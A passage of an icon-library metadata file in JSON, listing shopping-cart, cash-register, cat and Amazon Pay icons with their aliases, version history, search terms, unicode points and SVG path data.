      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["download", "save", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f218",
    "label": "Cart Arrow Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48H69.5c3.8 0 7.1 2.7 7.9 6.5l51.6 271c6.5 34 36.2 58.5 70.7 58.5H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H199.7c-11.5 0-21.4-8.2-23.6-19.5L170.7 288H459.2c32.6 0 61.1-21.8 69.5-53.3l41-152.3C576.6 57 557.4 32 531.1 32H360V134.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-64 64c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V32H120.1C111 12.8 91.6 0 69.5 0H24zM176 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm336-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48H69.5c3.8 0 7.1 2.7 7.9 6.5l51.6 271c6.5 34 36.2 58.5 70.7 58.5H488c13.3 0 24-10.7 24-24s-10.7-24-24-24H199.7c-11.5 0-21.4-8.2-23.6-19.5L170.7 288H459.2c32.6 0 61.1-21.8 69.5-53.3l41-152.3C576.6 57 557.4 32 531.1 32H360V134.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-64 64c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V32H120.1C111 12.8 91.6 0 69.5 0H24zM176 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm336-48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "cart-flatbed": {
    "aliases": {
      "names": ["dolly-flatbed"],
      "unicodes": {
        "secondary": ["10f474"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "inventory", "shipping", "transport"]
    },
    "styles": ["solid"],
    "unicode": "f474",
    "label": "Cart Flatbed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64H48c8.8 0 16 7.2 16 16V368c0 44.2 35.8 80 80 80h18.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H450.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H144c-8.8 0-16-7.2-16-16V80C128 35.8 92.2 0 48 0H32zM192 80V272c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H464V176c0 5.9-3.2 11.3-8.5 14.1s-11.5 2.5-16.4-.8L400 163.2l-39.1 26.1c-4.9 3.3-11.2 3.6-16.4 .8s-8.5-8.2-8.5-14.1V32H240c-26.5 0-48 21.5-48 48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64H48c8.8 0 16 7.2 16 16V368c0 44.2 35.8 80 80 80h18.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H450.7c-1.8 5-2.7 10.4-2.7 16c0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1-11-2.7-16H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H144c-8.8 0-16-7.2-16-16V80C128 35.8 92.2 0 48 0H32zM192 80V272c0 26.5 21.5 48 48 48H560c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H464V176c0 5.9-3.2 11.3-8.5 14.1s-11.5 2.5-16.4-.8L400 163.2l-39.1 26.1c-4.9 3.3-11.2 3.6-16.4 .8s-8.5-8.2-8.5-14.1V32H240c-26.5 0-48 21.5-48 48z"
      }
    },
    "free": ["solid"]
  },
  "cart-flatbed-suitcase": {
    "aliases": {
      "names": ["luggage-cart"],
      "unicodes": {
        "secondary": ["10f59d"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["airport", "bag", "baggage", "suitcase", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f59d",
    "label": "Cart Flatbed Suitcase",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H48c44.2 0 80 35.8 80 80V368c0 8.8 7.2 16 16 16H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H541.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H253.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H144c-44.2 0-80-35.8-80-80V80c0-8.8-7.2-16-16-16H32C14.3 64 0 49.7 0 32zM432 96V56c0-4.4-3.6-8-8-8H344c-4.4 0-8 3.6-8 8V96h96zM288 96V56c0-30.9 25.1-56 56-56h80c30.9 0 56 25.1 56 56V96 320H288V96zM512 320V96h16c26.5 0 48 21.5 48 48V272c0 26.5-21.5 48-48 48H512zM240 96h16V320H240c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H48c44.2 0 80 35.8 80 80V368c0 8.8 7.2 16 16 16H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H541.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H253.3c1.8 5 2.7 10.4 2.7 16c0 26.5-21.5 48-48 48s-48-21.5-48-48c0-5.6 1-11 2.7-16H144c-44.2 0-80-35.8-80-80V80c0-8.8-7.2-16-16-16H32C14.3 64 0 49.7 0 32zM432 96V56c0-4.4-3.6-8-8-8H344c-4.4 0-8 3.6-8 8V96h96zM288 96V56c0-30.9 25.1-56 56-56h80c30.9 0 56 25.1 56 56V96 320H288V96zM512 320V96h16c26.5 0 48 21.5 48 48V272c0 26.5-21.5 48-48 48H512zM240 96h16V320H240c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z"
      }
    },
    "free": ["solid"]
  },
  "cart-plus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f217"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "new", "positive", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "f217",
    "label": "Cart Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM252 160c0 11 9 20 20 20h44v44c0 11 9 20 20 20s20-9 20-20V180h44c11 0 20-9 20-20s-9-20-20-20H356V96c0-11-9-20-20-20s-20 9-20 20v44H272c-11 0-20 9-20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM252 160c0 11 9 20 20 20h44v44c0 11 9 20 20 20s20-9 20-20V180h44c11 0 20-9 20-20s-9-20-20-20H356V96c0-11-9-20-20-20s-20 9-20 20v44H272c-11 0-20 9-20 20z"
      }
    },
    "free": ["solid"]
  },
  "cart-shopping": {
    "aliases": {
      "names": ["shopping-cart"],
      "unicodes": {
        "composite": ["1f6d2"],
        "secondary": ["10f07a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cart",
        "checkout",
        "grocery",
        "payment",
        "purchase",
        "shopping",
        "shopping cart",
        "trolley"
      ]
    },
    "styles": ["solid"],
    "unicode": "f07a",
    "label": "Cart Shopping",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 24C0 10.7 10.7 0 24 0H69.5c22 0 41.5 12.8 50.6 32h411c26.3 0 45.5 25 38.6 50.4l-41 152.3c-8.5 31.4-37 53.3-69.5 53.3H170.7l5.4 28.5c2.2 11.3 12.1 19.5 23.6 19.5H488c13.3 0 24 10.7 24 24s-10.7 24-24 24H199.7c-34.6 0-64.3-24.6-70.7-58.5L77.4 54.5c-.7-3.8-4-6.5-7.9-6.5H24C10.7 48 0 37.3 0 24zM128 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm336-48a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "cash-register": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f788"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cha-ching",
        "change",
        "checkout",
        "commerce",
        "leaerboard",
        "machine",
        "pay",
        "payment",
        "purchase",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "f788",
    "label": "Cash Register",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 0C46.3 0 32 14.3 32 32V96c0 17.7 14.3 32 32 32h80v32H87c-31.6 0-58.5 23.1-63.3 54.4L1.1 364.1C.4 368.8 0 373.6 0 378.4V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V378.4c0-4.8-.4-9.6-1.1-14.4L488.2 214.4C483.5 183.1 456.6 160 425 160H208V128h80c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H64zM96 48H256c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16s7.2-16 16-16zM64 432c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm48-168a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm120-24a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM160 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM328 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM256 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM424 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM352 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 0C46.3 0 32 14.3 32 32V96c0 17.7 14.3 32 32 32h80v32H87c-31.6 0-58.5 23.1-63.3 54.4L1.1 364.1C.4 368.8 0 373.6 0 378.4V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V378.4c0-4.8-.4-9.6-1.1-14.4L488.2 214.4C483.5 183.1 456.6 160 425 160H208V128h80c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H64zM96 48H256c8.8 0 16 7.2 16 16s-7.2 16-16 16H96c-8.8 0-16-7.2-16-16s7.2-16 16-16zM64 432c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm48-168a24 24 0 1 1 0-48 24 24 0 1 1 0 48zm120-24a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM160 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM328 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM256 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48zM424 240a24 24 0 1 1 -48 0 24 24 0 1 1 48 0zM352 344a24 24 0 1 1 0-48 24 24 0 1 1 0 48z"
      }
    },
    "free": ["solid"]
  },
  "cat": {
    "aliases": {
      "unicodes": {
        "composite": ["1f408"],
        "secondary": ["10f6be"]
      }
    },
    "changes": ["5.4.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cat",
        "feline",
        "halloween",
        "holiday",
        "kitten",
        "kitty",
        "meow",
        "pet"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6be",
    "label": "Cat",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M320 192h17.1c22.1 38.3 63.5 64 110.9 64c11 0 21.8-1.4 32-4v4 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V339.2L280 448h56c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-53 0-96-43-96-96V192.5c0-16.1-12-29.8-28-31.8l-7.9-1c-17.5-2.2-30-18.2-27.8-35.7s18.2-30 35.7-27.8l7.9 1c48 6 84.1 46.8 84.1 95.3v85.3c34.4-51.7 93.2-85.8 160-85.8zm160 26.5v0c-10 3.5-20.8 5.5-32 5.5c-28.4 0-54-12.4-71.6-32h0c-3.7-4.1-7-8.5-9.9-13.2C357.3 164 352 146.6 352 128v0V32 12 10.7C352 4.8 356.7 .1 362.6 0h.2c3.3 0 6.4 1.6 8.4 4.2l0 .1L384 21.3l27.2 36.3L416 64h64l4.8-6.4L512 21.3 524.8 4.3l0-.1c2-2.6 5.1-4.2 8.4-4.2h.2C539.3 .1 544 4.8 544 10.7V12 32v96c0 17.3-4.6 33.6-12.6 47.6c-11.3 19.8-29.6 35.2-51.4 42.9zM432 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M320 192h17.1c22.1 38.3 63.5 64 110.9 64c11 0 21.8-1.4 32-4v4 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V339.2L280 448h56c17.7 0 32 14.3 32 32s-14.3 32-32 32H192c-53 0-96-43-96-96V192.5c0-16.1-12-29.8-28-31.8l-7.9-1c-17.5-2.2-30-18.2-27.8-35.7s18.2-30 35.7-27.8l7.9 1c48 6 84.1 46.8 84.1 95.3v85.3c34.4-51.7 93.2-85.8 160-85.8zm160 26.5v0c-10 3.5-20.8 5.5-32 5.5c-28.4 0-54-12.4-71.6-32h0c-3.7-4.1-7-8.5-9.9-13.2C357.3 164 352 146.6 352 128v0V32 12 10.7C352 4.8 356.7 .1 362.6 0h.2c3.3 0 6.4 1.6 8.4 4.2l0 .1L384 21.3l27.2 36.3L416 64h64l4.8-6.4L512 21.3 524.8 4.3l0-.1c2-2.6 5.1-4.2 8.4-4.2h.2C539.3 .1 544 4.8 544 10.7V12 32v96c0 17.3-4.6 33.6-12.6 47.6c-11.3 19.8-29.6 35.2-51.4 42.9zM432 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "cc-amazon-pay": {
    "changes": ["5.0.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42d",
    "label": "Amazon Pay Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 